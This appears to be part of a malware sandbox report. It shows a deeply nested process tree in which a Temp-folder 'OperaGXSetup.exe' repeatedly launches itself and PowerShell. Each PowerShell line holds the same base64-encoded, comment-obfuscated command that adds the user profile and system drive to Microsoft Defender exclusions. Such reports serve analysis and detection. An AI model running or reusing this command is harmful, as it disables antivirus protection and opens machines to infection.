        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        137⤵
        
        PID:4400
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        137⤵
        
        PID:5388
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        138⤵
        
        PID:7788
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        138⤵
        
        PID:7876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        139⤵
        
        PID:3932
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        139⤵
        
        PID:5928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        140⤵
        
        PID:4684
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        140⤵
        
        PID:6428
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        141⤵
        
        PID:7664
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        141⤵
        
        PID:3672
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        142⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        142⤵
        
        PID:2876
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        143⤵
        
        PID:5052
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        143⤵
        
        PID:5104
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        144⤵
        
        PID:2588
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        144⤵
        
        PID:7132
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        145⤵
        
        PID:8008
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        145⤵
        
        PID:6596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        146⤵
        
        PID:392
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        146⤵
        
        PID:7732
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        147⤵
        
        PID:6648
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        147⤵
        
        PID:2072
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        148⤵
        
        PID:2716
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        148⤵
        
        PID:3880
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        149⤵
        
        PID:6180
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        149⤵
        
        PID:7228
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        150⤵
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        150⤵
        
        PID:848
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        151⤵
        
        PID:1836
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        151⤵
        
        PID:7476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        152⤵
        
        PID:4572
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        152⤵
        
        PID:7356
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        153⤵
        
        PID:1272
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        153⤵
        
        PID:5892
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        154⤵
        
        PID:6976
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        154⤵
        
        PID:7592
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        155⤵
        
        PID:7924
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        155⤵
        
        PID:7980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        156⤵
        
        PID:1480
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        156⤵
        
        PID:5852
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        157⤵
        
        PID:3668
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        157⤵
        
        PID:1732
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        158⤵
        
        PID:2960
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        158⤵
        
        PID:3836
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        159⤵
        
        PID:6176
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        159⤵
        
        PID:6752
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        160⤵
        
        PID:4376
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        160⤵
        
        PID:7928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        161⤵
        
        PID:6540
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        161⤵
        
        PID:5736
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        162⤵
        
        PID:6832
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        162⤵
        
        PID:3308
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        163⤵
        
        PID:6992
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        163⤵
        
        PID:7064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        164⤵
        
        PID:4448
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        164⤵
        
        PID:5240
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        165⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        165⤵
        
        PID:1484
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        166⤵
        
        PID:7672
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        166⤵
        
        PID:1316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        167⤵
        
        PID:1824
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        167⤵
        
        PID:1468
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
        168⤵
        
        PID:7292
        
        C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OperaGXSetup.exe"
        168⤵
        
        PID:2644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAbgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAYwB0ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAegBpACMAPgA="
